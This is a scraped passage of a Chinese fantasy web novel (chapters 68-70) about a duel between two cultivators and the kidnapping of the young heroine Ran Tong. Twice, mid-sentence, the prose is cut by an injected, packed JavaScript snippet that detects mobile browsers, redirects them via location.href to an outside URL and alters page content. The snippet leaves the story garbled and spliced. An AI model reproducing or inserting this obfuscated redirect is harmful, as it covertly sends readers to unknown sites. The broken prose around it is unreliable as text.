露馅后还充好汉主动替她扛黑锅,挨打受罚不算,那些失窃的符箓后来都变成离恨天攻打师门的武器,亲手资敌,引狼入室的过错够他悔恨一辈子。 冉彤很想了解详情,可前方战况太精彩,不容错过。 面对铺天盖地,声势浩大的风火雷电三重攻击,苏芳一丝不乱,手中纸伞轻旋,一道无形屏障挡住了来势汹汹的火和雷。 她的身影如同分水岭将火海一分为二,向两旁流散。 那些凶猛的雷蛇只能贴着屏障游动,无法接近她分毫。 “你太高看自己了,老娘是来斩草除根的。” 她不屑的话音异军突起,陡然收起纸伞,以伞的尖端刺向江琉玥。 排山倒海的灵力划破空气,留下一道细微的裂缝,向四周蔓延出蛛网状痕迹。 感受到这一击的恐怖威力,江琉玥面色大变,急忙结阵防护。 灵力与法阵相撞爆发出令天地摇晃的巨响,江琉玥座下仙鹤吐血哀鸣,已然受了重伤。 苏芳追加法术,手腕转动,纸伞在空中划出优美的弧线,伞盖旋转加速,转眼形成一道银色的龙卷风,将周围的山石、树木纷纷吸纳进去,不断碾压粉碎,转化成巨龙般的风柱。 锋利的碎片就是这巨龙的鳞甲,稍有剐蹭即会粉身碎骨。 苏芳操控巨龙袭向江琉玥,江琉玥不敢怠慢,赶紧祭出本命法宝“百宝金如意”。 她玉指轻弹,如意射出金色流光,瞬间刺穿并肢解了巨龙,余威直指苏芳。 苏芳眼中闪过一丝惊异,但立刻被兴奋取代,再次旋转纸伞,造出更强壮威猛的巨龙。 江琉玥不甘示弱,如意释放出层层叠叠的金色壁垒,对巨龙形成合围。 巨龙疯狂撞击壁垒,一次次碰撞爆发出夺目炫光和刺心的轰鸣。 江琉玥深知不能给敌人喘息之机,必须利用苏芳攻势受阻之际反击。 “破!” 她厉声呼喝,如意上的金光变成七只金色秃鹰,以雷霆之势扑向苏芳。 苏芳将纸伞横在胸前,形成一道圆形的白色护盾。 秃鹰鸣叫着撞上去,惊天动地的声响中碎片和灵压四面飞溅,砸出道道深不见底的沟壑,隆起座座高愈数丈的土堆,山门前的地形被彻底改变了。 绝顶高手的较量超越了冉彤的领悟力,她辩不出双方强弱,时而目瞪口呆,时而双拳紧握,眼睛睁得溜圆,生怕漏看壮观场面。 夏炎冷眼审视,已预判出战局走向。 激烈的战况刺激了苏芳的嗜血欲望,她乍然爆发出癫狂的笑声,厉声吼叫:“这样才过瘾,不枉老娘专程走这一遭!” 冉彤料想女魔头要出绝技了,只见她周身腾起血色光芒,一团黑色的雾气扭动纠缠着汇聚到她身前。 血色越发浓烈,黑雾里响起一阵尖锐刺耳的婴啼,天光霎时昏暗,温度骤降,地面迅速凝结出一层厚厚的冰霜,覆盖住整个山脚,植物都枯萎腐烂,来不及逃离的动物们也尽数毙命。 黑雾里冒出幽绿的光,竟是一个浑身散发着强烈阴气的婴儿。 它的体型不过团扇大小,释放出的神识却像个十丈高的小巨人。空洞的双眼里射出阵阵绿光,犹如涌动的毒汁,包含着无尽的怨念。 冉彤惊悚地双手捂嘴:“这是什么怪物啊?” “是婴灵。” 夏炎望着那充满恐怖气息的婴儿,眼神变得复杂。 怜悯、困惑像乱麻纠缠着他,勒出了对苏芳的愤懑责备。 再恼怒也不该将亲生女儿的尸体炼成怨灵,他同情这女人的遭遇,但是永远无法理解她的行为。 68.轮战 “珍儿,替娘杀了她!” 苏芳操控婴灵攻击江琉玥,那婴灵咧嘴尖叫,先紧紧团缩身体,随即携带滚滚阴气向江琉玥暴射而去。 黑影拖着寒气肆意侵略,眨眼间将周遭事物包裹在银白的霜雪中。 江琉玥面白如纸,她深知这婴灵的厉害,忙以层层金色光幕抵挡。 可是婴灵的寒邪之气犹如无孔不入的利刃,轻易洞穿了那看似坚固的光幕,嘶嘶嘶不断深入,仿佛在切割朽坏的织物。 那浓郁粘稠的怨气潮水般剧烈拍打江琉玥的神识,将世间最恐怖的幻觉植入她的感官。 她堕入了一片真实的血海,成群恶鬼从血水里钻出来,伸着枯瘦如柴的利爪狠狠抓挠她,将她娇嫩的皮肤一条条撕下来争相啖食。 然后海面上翻涌的泡沫变做被她杀害的人们,个个满眼怨恨,凄厉控诉着她的罪行,忽然变化成一群黑色的丑陋虫子扑到她血淋淋的身体上,密密麻麻占据伤口,钻进肌肉,吸吮血液,啃噬内脏。 她清晰感受到虫子蠕动带来的剧痛,却无法逃脱。 好强的幻术,早听说这疯婆子养的怨灵战无不胜,原来是靠这手段。 江琉玥毕竟身经百战,忙念咒巩固神识。 血海、恶鬼、虫群都消失了,可处境变得更糟糕。 她的耳边响起婴儿口齿不清的低语,听来阴森刺耳,恍如来自地狱的密码,让她的心神一点点坍塌。 那声音逐渐转化成啼哭,越来越尖锐,即将刺穿她的耳朵。 她拼命念咒护心,封闭自身感官,可那哭声如影随形,在她神识里长驱直入。 她的身体开始不受控制地扭曲变形,四肢躯干被强行拉长,关节咔咔叫唤,随时会断裂…… 冉彤见江琉玥被婴灵的黑气罩住,她的坐骑仙鹤率先倒毙坠落,片刻后江琉玥口鼻中鲜血狂喷,血雾在空中扩散成伞盖缓缓下沉,而她则像受到踢踹的皮球飞向后方,撞塌了半座山崖。 苏芳得意狂笑,嘲骂:“江琉玥,你可别死得太容易,老娘还没玩够呢!” 冉彤也觉得江琉玥不会就此认输,只见漫天尘埃里射出一片强光,江琉玥重新飞到空中,她衣衫破烂,花容污损,目光里的狠戾愈发炽烈,与世无争的清纯气质荡然无存,从头到脚彰显着阴鸷杀机。 “疯婆子,这是你自找的。今日便叫你尸骨无存!” 她再次祭出百宝金如意,双手结印,快速施法。 如意金光大盛,隐隐透出蓝色的雷电。 头顶的天幕轰然洞开,钻出成百上千头电光闪闪的独角兕。每一头都体长三丈,周身覆盖着幽蓝的鳞片,漆黑锐利的尖角上环绕电流,似乎能刺穿一切事物。 “受死!” 独角兕们跟随江琉玥的怒吼仰天长啸,钢铁洪流般冲向苏芳和婴灵,霎时雷霆万钧踏云来,山川震动日月颠。 苏芳毫不怯场,捏决施法,婴灵阴邪森寒之气暴增,与奔腾而来的兽群抗衡。 双方不断碰撞,激起连绵不绝的爆炸声,天上云幕乍散乍合,犹如煮糊的汤锅,锅底都快被烧穿了。 婴灵嚎啕大哭,冉彤承受不住它的怨气,莫名地害怕,必须抓住点什么才有安全感,用力拉拽夏炎的衣襟,见他将食指伸过来,连忙紧紧抱住,哆嗦道:“这两个女人都是怪物啊,这得斗到什么时候?” 夏炎估计苏芳已失去耐性,判断:“就快到决胜负的时刻了。” 苏芳被婴灵的哭嚎激怒,凤眼瞪若铜铃,詈斥江琉玥:“贱人胆敢欺负我女儿!” 她变换法术,原本阴沉的云霄被巨大的黑幕覆盖,粗壮的银色电光迅疾穿梭于云缝间,世界在黑暗和惨白中交替。 常乐山如同无助的孩子恓惶蹲坐在脆弱的穹顶下,等候随时降临的末日。 雷鸣中穿插着苏芳的尖叫。 “别以为只有你会放雷,老娘也会!” 雷云中钻出一大群状如小山的夔牛,周身围绕炫目的银色电光,硕大的头颅威猛凶悍,一对弯曲的牛角寒芒闪烁,显示出势不可挡的蛮力,拔腿冲向江琉玥的独角兕群。 独角兕们毫不畏惧,怒吼着迎向敌人。 两群雷兽犄角碰撞,场面可谓惊天地泣鬼神。 夔牛们倚仗体型优势,甩头将独角兕撞飞出去。 独角兕则利用尖锐的长角戳刺。 雷电交错中万兽齐鸣,焦糊味几乎令冉彤的嗅觉失灵,脸颊不禁贴住夏炎的指腹,双手抱得更紧。 夏炎提醒她:“丫头,你仔细观察那二人所使的雷术,与你的天罡真雷有什么区别?” 冉彤已瞧出来了,江琉玥和苏芳的雷法固然强大,但雷光中都夹杂丝丝杂质,恰似浑浊的水流,缺乏纯粹的天罡正气。 “她们驱使的都是凡雷,不如晚辈的真雷纯净。晚辈若能学会她们的法术,威力定然强过她们。” 夏炎微微颔首:“那二人的雷术均已登峰造极,想用常规方法修炼到那种境界得花两千多年。” “那么久啊!?有没有办法能快速提升呢?” “有。” “还请前辈赐教!” 夏炎语气严谨:“若想速成需借助雷劫之力,将雷力引入体内,锤炼□□和神识,重复九十九次便可驾驭任意一种雷术。” 冉彤曾受陆山君胁迫替他承受天劫,当时每一次雷击都像要将她的魂魄撕碎,身体如同被千万张锯片切割,钻心刺髓的剧痛,以及直达灵魂的恐惧至今令她余悸难消,真不想再体验那种非人的摧残。 可是当她的目光投向远处风云变幻的战场,心中便涌起强烈的向往。 假如能拥有这般强大的力量,就不会任人欺凌宰割,不会再痛失珍视之人。 一直躲在老鬼身后只会变成笼中鸟,我要壮大羽翼,展翅高飞,战胜所有压迫和伤害。 “晚辈想学习接引雷劫,请前辈指点。” 她义无反顾的口吻博得夏炎赞许,比起天赋,他更欣赏她无畏的勇气和坚定的信念,越发觉得这女孩和他性情相投。 “你现在还没能力承受雷劫,往后遇到雷暴天气先试着吸收雷力,积累突破至臻境后或可尝试。” 对话中苏芳已稳稳占据上风,几头夔牛融合出体型更庞大的夔牛,嘴里喷出直径数丈,如同开天巨刃般的雷电,径直劈向独角兕群的密集处。 独角兕们碎尸万段,似齑粉随风飘散,没被击中的也东倒西歪,阵脚大乱。 江琉玥汗如雨下,怎么也没料到苏芳的法力强大如斯。 金如意的光芒逐渐暗淡,独角兕不断自行消亡,已是强弩之末。 苏芳连连冷笑,操纵夔牛群围困独角兕群后缩小包围圈,喷吐雷电狂轰滥炸。 独角兕们在电网中垂死挣扎,发出绝望的哀鸣。 江琉玥受到强电流冲击,灵力急速消耗,发丝凌乱飞舞,衣衫破碎不堪,处境狼狈已极,想向同门求助,法力竟传导不出去了。 苏芳狞笑:“整座山都被老娘封锁了,没人会来救你!” 江琉玥慌忙躲避追击,虚置声势警告:“你毁山行凶,必遭地母娘娘惩处!” 苏芳疯癫却不痴傻,大笑嘲谩:“地母想管的话早现身了,听说她闭关数百年未出,只怕自身难保!” 她驱赶夔牛追赶江琉玥,并且操控婴灵,挥舞纸伞夹击。山脚已在战斗中支离破碎,到处是焦土和火海。 江琉玥身陷绝境,体力灵力都渐渐不支,飞行速度减缓,轨迹也变得歪歪扭扭。 她每次努力避开袭击都会流失大量灵力,根本组织不起有效反击,犹如被野猫戏耍的老鼠,正拼着性命为敌人助兴。 见她危在旦夕,夏炎准备出手,先解除气息隐藏术,变身为蛟龙族妖修。 江琉玥飞到近处,偶然察觉他,情急呼救:“道友请快助我,必有重谢!” 苏芳也因此发现他,指挥夔牛上前围逼。 “哪儿来的妖怪,还不快滚!” 江琉玥躲到夏炎身后,生怕他不肯相救,惶急地许以重利:“道友,我乃离恨天太上长老江琉玥,这女魔头无端行凶,与本门为敌。你帮我杀了她,本门定将你奉为上宾,今后有求必应!” 夏炎留着她有用,泰然劝阻苏芳:“本人是来向地母求教问题的,还请这位道友勿在娘娘家门前滋事。” 苏芳没耐心跟他啰嗦,雷电、阴气、寒气一股脑儿朝他身上招呼。 夏炎从容抬手,掌心汇聚出一团散发凛冽罡气的金芒。 “金灵镇雷!” 他低喝一声,金光散射成剑雨,电光火石般刺穿夔牛们坚实的鳞甲,一举将其肢解。 大地猛烈颤动,若干粗壮的褐色木藤破土而出,虽是植物,质地却比精铁更坚硬,密实交织构成巨型牢笼困住苏芳和婴灵。 笼子里燃起盛大的火焰,顷刻间火柱擎天惊浩宇,烟霞蔽日漫荒郊,高温的穿透力比江琉玥适才使用的“赤练炎龙符”强十倍,迫使苏芳全力抵挡。 婴灵感受到前所未有的威胁,凄厉哭嚎,浓烈的怨气化作黑色浪潮狠狠撞击木笼。 母性激增了苏芳的野兽本能,嘶声咆哮着爆发出浑厚而邪异的血光。 张扬的火焰竟叫这血光逼退,木笼摇晃不止,一些木藤被冲击波震断了。 夏炎暗自惊叹,幸亏找回那截灵骨,否则真制不住这女人。 他伸指凭空画出一道符箓,符文转动射出几根金锁链,电射飞向婴灵,将其牢牢缠缚。 婴灵疯狂挣扎,反被越缠越紧,皮肉变形,眼看要四分五裂。 苏芳赶紧割破双腕,血液像有生命似的蛇行溢出涌向婴灵,为起提供生命力,暂时挡住了锁链的伤害。 “珍儿别怕,娘来救你!” 她情急下顾不上使用法宝,抓住一条锁链张嘴啃咬,咬得朱唇开裂,鲜血染红皓齿,顺着嘴角流遍下巴和脖子。 冉彤震心悚目,看出苏芳对婴灵感情极深,难不成真是她的亲骨肉? 夏炎想起苏芳悲惨的过往,不由自主心软,未再追加法力。 苏芳感觉到他的迟疑,强忍剧痛射出毒血飞刃劈断余下的锁链,夺回婴灵后开启逃离法阵。 “别让她跑了!” 江琉玥已趁他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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夏炎岂容她脱身,早布下法阵捉拿。 空中出现更多紫色旋涡,伸出不计其数的锁链,似灵活的触手追踪江琉玥,任凭她如何变身提速都甩不开,终被束缚捆绑,待宰羔羊般送到夏炎跟前。 “魔头,你想干什么!?” 她色厉内荏嚎叫,很怕夏炎下毒手。 夏炎冷斥:“我要先看看你们对地母做了什么。” 他施法禁锢江琉玥的神识,用搜魂术提取记忆。 江琉玥事先提防,对自己施加了防止搜魂的禁制。 夏炎以法力破除了部分,仍难搜索到有效信息。如同在污浊的河水里寻觅细针,找了许久才看到地母被关押在一座死气沉沉的山脉下,负责监押她的是离恨天另一太上长老,雪千重的同族师妹玉玲珑。 江琉玥苦熬到他撤销法力,浑身浸透汗水,气喘吁吁,切齿咒骂:“你取走灵骨,北疆大漠很快会沦为死地,你一向自诩仁德,竟不惜残害生灵?” 她曾用道义要挟夏炎多次,这回没奏效。 夏炎冷笑:“你以为本座为何留你性命?正是借你的法力替地母站岗。” 他揪着江琉玥飞入神宫来到聚灵阵前,看到法阵中行将消失的精魂球,江琉玥领悟到他的意图,大声惊叫:“夏炎,要杀便杀,何苦用这歹毒法子折磨我?我可不比那蚰蜒精,你就算恢复了一半法力也炼化不了我的魂魄!” “无须麻烦,你活着更省事。” 夏炎不理会女人的叫骂,施法将她抛入法阵,阵内星云流转,星光明亮刺眼,星图以江琉玥为中心重新排布。 “夏炎,我做鬼都不会放过你!” 江琉玥的呼喊陡然转为惨叫,星图在她身上连接了数千道网络,通过每一个毛孔每一条经脉里抽取灵力,带来无异于凌迟的痛楚。 冉彤没见夏炎如此残忍的处置过敌人,联系之前他对江琉玥表现出的反感,断定这女人过去一定害苦了他,故有今日之报。 夏炎让她变回原形,说:“此女的灵力能支撑好几年,足够我们救出地母了。” 冉彤还未回话,地板突然晃动起来,二人皆是一惊。 江琉玥脸上露出疯狂决绝的神情,周身灵力乱涌,仿佛一座喷发的火山,正用肆虐的破坏力从内部瓦解法阵。 冉彤惊呼:“她想自杀!” 夏炎已在施法镇压,可是江琉玥非同等闲,凭现有法力很难阻止她的亡命一搏, 冉彤眼见法阵内群星失轨,坠星不断,事态显然无法挽回,正想劝夏炎撤退。 燃眉之际,地底倏地涌出一股强劲的阴寒之气,迅雷不及掩耳地封冻了江琉玥。 夏炎趁机修复并加固法阵,用数道禁制牢牢制服江琉玥,顺利扭转了危机。 他长舒一口气,开始侦查是谁人相助。 冉彤匆匆拉住他的袖子,急切相告:“前辈,我见过这股寒气,当初就是它帮我逃出残秽之渊,引导我去翡翠城的!” 69.绑架 早在搜查冉彤记忆时夏炎就认为她和自己的邂逅是不明势力有意促成的。 那赠送她摄魂珠的算命老太婆行事具有典型的魔道风格,但又不像白子落的手下。 当年他和不少魔道中人结怨,那些仇家巴不得他死,并且畏惧离恨天,活到如今的也没几个,不会冒险搭救他。 “这寒气与众不同,一般寒气功法通过降低温度造成伤害。这种寒气还能直接损伤神识,干扰人的心智,老夫从未见过。” 冉彤发表看法:“晚辈觉得这人是来帮您的,不管出于何种目的,暂时尚对您有利,若能露面沟通一下就好了。” 夏炎不喜鬼祟做派,警惕道:“此人一直暗中跟踪监视我们,其用心未可捉摸,还是小心为妙。” 他准备回灵樾森与封无牙商讨如何解救地母,先返回山脚修复了毁坏的环境。 目睹冒烟的废土在短时间内重现生机,坍塌的山石和建筑自动复原,冉彤佩服得五体投地。 “这是造物神才有的伟力啊,前辈太了不起了。” 夏炎实在道:“等你到了极境中期也做得到,没什么稀奇的。” 冉彤见山门前的牌坊和先前不太一样,指着两旁的空地说:“那些石头神兽都不见了,被火烧化了吗?” 夏炎打个响指,一道金光从指尖垂直射向天空,炸出许多细小的火花,落英般四散飘落至山间。 火花坠落的地方树木沙沙作响,泥土噗噗蠕动,躲藏的石头神兽被迫显形,怂头夹尾地返回山门前,齐向夏炎磕头如捣。 “夏仙师恕罪,小的们都是被逼无奈啊。” “我等不擅杀伐,根本敌不过离恨天的淫威,当初地母娘娘顾惜我等性命,命我等屈服,我等真不是故意叛变的。” “是啊,娘娘遇害,我们愧痛至深,每次欺骗外人都心如刀绞。求仙师明鉴!” “夏仙师,我们真是无辜的!” 这些石兽都是几千岁的矿精,地母偏重让门人修身养性,没培养它们的作战能力,遭遇强敌只好束手就擒。 可是弱小与不忠是两码事。 夏炎严厉斥责:“你们投降情有可原,但为何这么多年都不设法对外传递消息?岂不知此事关系凡界众生的安危存亡?如此不辨是非,奴颜媚骨,还敢自称无辜?本座今日必须对尔等严施惩戒。” 说罢用紫火焚烧石兽,烧得它们哇哇乱叫,浑身发红,像融化的蜡烛冒出水珠,打着滚乞求宽恕。 夏炎估计它们会长记性了,收了法术郑重告诫:“本座封锁了常乐山,尔等务必谨守机密,不得对外走漏半点风声。谁再变节,本座便连它的元神一并炼化。” 石兽们俯首帖耳,莫敢不从。 夏炎让金甲力士将那三个小孩带到远方安置,一个月后送他们归家。 这是他估算的彻底解决案件的期限,拯救地母的行动可不能拖这么久,否则离恨天一旦发现江琉玥失联必会起疑。 冉彤跟随他离开常乐山,这次旅行收获不小,也带来更多谜题,疑问像横冲直撞的蜂群霸占她的思维,将外部的声音景物排斥在感知以外。她身心分离地机械前行,脑门忽然撞在夏炎后背上。 “前辈?” 她纳闷他为何停步,地面遽然升起丝丝缕缕的阴邪之气。她的双脚瞬间冰凉,没来由的恐惧偷袭了神识,伴随入侵的还有阵阵细线般的婴儿哭声。 是苏芳! 原本晴好的天空打翻了墨盆,被浓稠的乌云遮得严严实实。树木抖瑟,鸟兽逃窜,黑雾从四面八方涌来围住他们,婴灵的哭声渐渐逼近。 冉彤急忙将映真镜递给夏炎,夏炎剑眉深锁,轻轻摇了摇头:“她已经认出老夫了?” 大概是在交手时引起她的怀疑,是祸躲不过,再难堪也得面对。 他捏决施法想先将冉彤转移到别处。 冉彤脚下陡然窜出几道黑蛇形状的烟气,张开大口咬住她各处要害,红色的獠牙陷入皮肉,封锁灵力和行动。 夏炎认出这是“冥蛇锁灵咒”,他若妄动,即便救下冉彤,敌人也会重创她的神魂。 “苏芳,你别乱来!” 他转头怒斥,那撑伞的娉婷佳人袅袅走出烟雾,绯红的眼眶里装满怨毒,几乎喷出火焰。 “没良心的死鬼,亏你还记得我。” 她一开口就是你死我活的语气,而眼底的泪光又绝不止单调的仇恨,还有如藤蔓般复杂缠绕的眷恋不舍,以及欲诉还休的委屈悲苦。 “那天在襄北你还当面蒙骗我,在别人面前充好汉,只有我知道你是个没担当的缩头乌龟!” 苏芳以为夏炎早已死了,刚才二人在常乐山下交战,她对那法力高强的陌生妖修颇感兴趣,事后悄悄返回潜伏观察,未成想对方竟是自己那积了八辈子宿孽的冤家,前不久还同她在襄北衣帽行会过面。 结合夏炎过去的表现,她将他的行为统统归结为心虚。 这混蛋伤她太深,欠她太多,自惭形秽,无颜相见,千年前便不断逃避,如今还要接着躲。 “这一千年你死哪儿去了?他们都说你被离恨天杀了,我几次招魂无果,还以为你魂飞魄散了。” 夏炎见了她便头疼,他一生的羞耻和狼狈大部分拜这女人所赐。 奈何她也是惨不堪说的受害者,稀里糊涂逼他接收仇怨。该解释的他早已解释过,永远有理说不通,比较后觉得还不如吃哑巴亏清净,于是默默背着黑锅和骂名忍耐几百年,谁知千年后她仍夹缠不清。 被苏芳连续质问,他不得不勉强回应:“我被毗沙封印了,直到一年前才逃出来。” 这女人是他眼里揉不掉的沙子,喉头咽不下的鱼刺,他对她有气有怨,既怜悯又惋惜,给不出合适的定位,对待她的态度和语气便显得复杂暧昧。 冉彤断定夏炎就是苏芳发疯的根源,干没干过缺德事另说,反正负心汉的帽子已焊死在头上了。 苏芳正是通过她识破夏炎在襄北衣帽行的伪装,很介意她的身份,质问夏炎:“这丫头是什么人?” 泼悍姿态难掩妒意,冉彤登时想起封五娘的警告。 “若遇到跟我同辈的化形女妖或者上千岁又认识夏爷的美貌女修,最好跟她们强调你是夏爷的小辈,否则恐惹祸上身。” 妈呀,五姑娘没吓唬人,老鬼的烂桃花果然又多又猛,这疯婆子若误会我俩有猫腻,我就得去向阎王爷喊冤了。 她不能让夏炎答话,他嘴笨,说实话也像欲盖弥彰。况且这本是瓜田李下的事,最经不起猜疑,欲求安稳只能撒谎。 “启禀苏前辈,一年前晚辈无意中闯入翡翠城替夏前辈解除封印,他见晚辈无依无靠便收晚辈做了干女儿。” 她信口开河,夏炎和苏芳不约而同愣住。 理解她的意图后前者硬着头皮默认,后者还存有疑窦。 “他既是你干爹,那日你为何称他叔公?” 冉彤敏捷补救:“夏前辈的岁数比晚辈的太爷爷都大,晚辈觉得直接称干爹会降低他的辈分,他便让晚辈在人前使用‘叔公’这个称呼。” 为防止苏芳追问,她巧妙地抢夺话语权,笑问:“干爹一直不肯告诉晚辈他的私事,方才听了苏前辈的话,容晚辈斗胆猜测,您莫非就是晚辈的干娘?” 她才不管夏炎做何感想,只求稳住疯婆子。 听了这句极度冒犯的话,苏芳并未发火,还隐隐有些受用,膨胀的杀意暂时淡退,转而声讨夏炎。 “今日被我逮到你休想再躲,必须给我个交代!” 夏炎早受够这句车轱辘的威逼,压着怒火劝告:“地母遭离恨天囚禁,我要赶去救她,没功夫和你纠缠。” 苏芳像被点着的火药桶厉声呵斥:“你永远有找不完的借口,就是不肯为自己的罪行负责!” 夏炎眉头快拧出水来,被迫申辩:“我说过无数次,你的遭遇和我没有任何关系,当年骗你伤你的另有其人。我当众发毒誓诅咒过自己,那天又在你监视下使用守心咒,你怎么还不相信?” “因为你会弄虚造假,那些法术对你根本不管用!” 苏芳步步紧逼,泪水在眼眶里直打转,神情由怨愤转为哀伤。 “我潜心修行上千年,从未沾染尘世情缘。除了你,还有哪个男人敢来招惹我?你连番欺骗陷害我,却反过来说我误会污蔑,世上怎会有你这么无耻狠心的人?真死了我便自认倒霉,你既然活着出现就必须把我这半辈子受的冤屈苦楚连本带利还回来!” 她说着说着将纸伞抛向高空,一把伞分化成千万把,如急旋的圆形飞刀射向夏炎。在昏黑天幕的映衬下好似寒星成片坠落,划破气流,发出令人心惊胆战的尖锐鸣响。 冉彤的神识 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15016516|149507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 承受不住如此强劲的威压,痛苦地尖叫着。 劫持她的黑烟蛇将她缠成粽子,起到了一定的保护作用。 夏炎见苏芳没迁怒无辜,便不急着出狠招,默念咒语,上方空气被一双无形巨手揉搓出层层皱褶,转眼裂出一个大愈广场的黑洞。 他如今的法力能使用“饕餮蚀空术”了,威力和熟练程度都不压陈淳。 伞刀抵挡不住黑洞的引力,纷纷自投罗网,连主导它们的本体也不支移位,看看要被吸走。 苏芳怒不可遏,召唤出藏在黑雾中的婴灵。 那小东西浑身发绿,怨气和阴气比之前更强烈,咧着嘴尽力哭喊,声音的穿透力胜过十万飞刀。 它的神识变得凶神恶煞,瞪着深渊般的巨眼,两个门板大的巴掌双双拍向夏炎,被他的法阵挡住。掌力击穿了阵外的土地,气浪扫倒大片树木,在森林间掏出个大洞。 “虎毒不食子,你还想杀她第二次吗?!” 刚才在山门前夏炎险些灭掉婴灵,苏芳正为此怨怒,见他又要对其出手,疯狂嚎叫着冲上来,挥舞纸伞对着法阵乱劈乱砍,俄顷发髻解体,披头散发,表情扭曲到判若两人。 冉彤听说那可怕的婴灵竟是夏炎的骨肉,惊骇得放弃挣扎。 这两个人究竟什么关系啊,比我在茶馆里听来的市井闲话还离谱,反正老鬼不用人帮忙,我姑且在这疯婆子针对我之前装死,还能少些危险。 她一脱力,黑烟蛇便咬得没那么紧了,将她整个人包住,免受灵压误伤,也没阻止她用神识观战。 夏炎目睹苏芳疯癫的丑态心里十分难受,急声警告:“苏芳,当年之事我定会查个水落石出,请勿再苦苦相逼!” 苏芳听够他这句托词,更用力地抽打怒吼:“休想再把我当傻子耍弄!你不是法力高强吗?有本事把我们娘俩都杀了!” 仿若夜枭哀啼的凄厉吼叫在天地间回荡,冉彤见她突然退后几丈翻手结印,掌心里射出长串黑色符文,蜿蜒着没入婴灵体内。 婴灵力量陡增,咆叫着用额头撞击法阵,山地像遭受重锤的木板剧烈震动,整座法阵被敲打着陷入地底。 夏炎本可轻松解决婴灵,但看苏芳刚才抢救它的情形仍将这怨灵当女儿疼惜,杀之又要添新恨。 只好先将她们一并制伏了。 他使出之前擒拿江琉玥的法术,十几个紫色气漩围住苏芳和婴灵,向二者喷射锁链。 苏芳深知他这“缚魂锁”难对付,也明白自己实力弱于对方,被抓住定会受欺辱,于是紧咬银牙,推出一圈巨浪形态的黑烟做防护。 “你我的帐须慢慢清算!” 她犹如灵活的泥鳅飞速穿过黑烟,收走婴灵的同时,连包裹冉彤的黑烟蛇一道回收。 冉彤身陷“冥蛇锁灵咒”,只能听任摆布,失声惊叫:“前辈救我!” 夏炎向苏芳射出几道光刃,她立马用冉彤做盾牌,逼得他收手。 “苏芳,放了她!” “做梦!” 苏芳带着冉彤飞入传送法阵,不忘威胁夏炎:“敢阻我,便掐死这丫头!” 夏炎被迫中断毁阵的法术,暗中向苏芳施加记号也被她挡了回来。 法阵转瞬消失,那女人已经隔绝了他加在冉彤身上的追踪禁制,这会儿一点气息都捕捉不到了。 他赶紧以神识传音隔空警告苏芳:“你我的恩怨不该波及旁人,若加害无辜,休怪我心狠!” 苏芳已带冉彤转移到数万里之外,那法阵和当初王霸送的乾坤挪移阵效力相仿,冉彤刚入阵时遭了二茬罪,不过受到苏芳法力保护,只受了些皮外伤。 出阵后她被这疯女子从半空中摔到地上,跌得筋骨欲折,感觉身上的束缚解除了,忙忍痛爬起。 苏芳落在她跟前,拢着乱发,盯着她恶毒嘲笑:“那负心贼传音威胁老娘,说若敢害你就要杀了老娘,你可真是他的心肝宝贝啊。” 冉彤埋怨夏炎缺心眼,这种时候他的重视就是催命符,只会激化敌人的恶念。 “前辈饶命!干爹不止担心我,也怕您错手杀了晚辈,更要加深你们之间的过结。您想必知道刚才他一直让着您,并未全力迎战啊!” 冉彤汲汲惶惶说好话,又到了独立面对死亡威胁的关卡,所有法术法宝都不好使,能够依赖的只有自己聪明的头脑和灵巧的嘴了。 70.诉苦 苏芳本就急躁,此时想让她冷静比在沙漠里找寻水源还艰难。 冉彤身体失重,凌空悬浮起来,口舌僵硬,灵力和神识都被封锁了。 她想对我搜魂?这些大修士怎么都喜欢用这招啊? 回想上次被搜魂的痛苦经历她便不寒而栗,预感苏芳的手法将比夏炎更凶残,兴许会当场废了她。 苏芳无视她哀求的眼神,只把她当做案板上等待料理的食材,右手伸向她的脸,掌心涌出墨黑的烟雾,化作触手钻探她的脑门。 冉彤眉心爆发出一道绚烂的紫色光芒,向周围扩散出凌厉的冲击波,不仅成功抵挡住了黑烟,还幻化成彪悍的六翼猛虎扑向苏芳。 这股力量直接损坏人的神识,苏芳忙聚集黑烟形成护盾。 二者相接恰似阴阳两极失衡,空间扭曲成螺旋状,产生万鬼哭嚎般的骇人噪音。 冉彤怕到极处却合不上眼,紫光与黑烟就在她跟前激烈缠斗,时疾时缓地迸射出片片光芒,疾时像星辰炸裂,缓时如天女散花。 她猜夏炎在她神识里施加了保护禁制,对苏芳来说算个陷阱。 “夏炎,你给老娘玩阴的!” 苏芳躲不开禁制反攻,嚼齿穿龈大骂着,释放出一波又一波黑烟,力求扑灭紫光。 紫光虎坚若磐石,任凭黑烟团转拍打撞击,终是屹立不倒,持续进逼。 苏芳双手不断变换法诀,汗水浸花了她脸上的脂粉,双足也因重压陷入泥土,陡然一声厉叱,体表钻出数以千计的黑蛇,蛇口齐张,上万根獠牙狠狠啮咬紫光虎,注入腐蚀灵力的毒素。 紫光虎终于疲软动摇,原本强烈到让人无法直视的光芒逐渐暗淡,轮廓融化般模糊不清,迅速分解在沸腾的黑烟里。 激烈的斗法过程令冉彤气不敢出,虽然禁制的防护力让她的身体免受伤害,这触目惊心的场面却时刻摧残着她的精神。 见苏芳压制住了夏炎的法力,她的心几乎从嗓眼里蹦出来,默默呐喊着,盼望紫光再次绽放,挽回颓势。 当紫光彻底消失时,她浑身上下包括头发丝都因恐惧颤抖,脑海里自动呈现出苏芳用各种酷刑虐杀她的场景,被绝望强迫着设想自身的悲惨下场。 苏芳的双手也在不受控制的哆嗦,夏炎下这禁制就是奔着摧毁搜魂者的神识去的,她但凡弱一丁点都挡不住,定会命丧于此。 “没良心的,谁都狠不过你……” 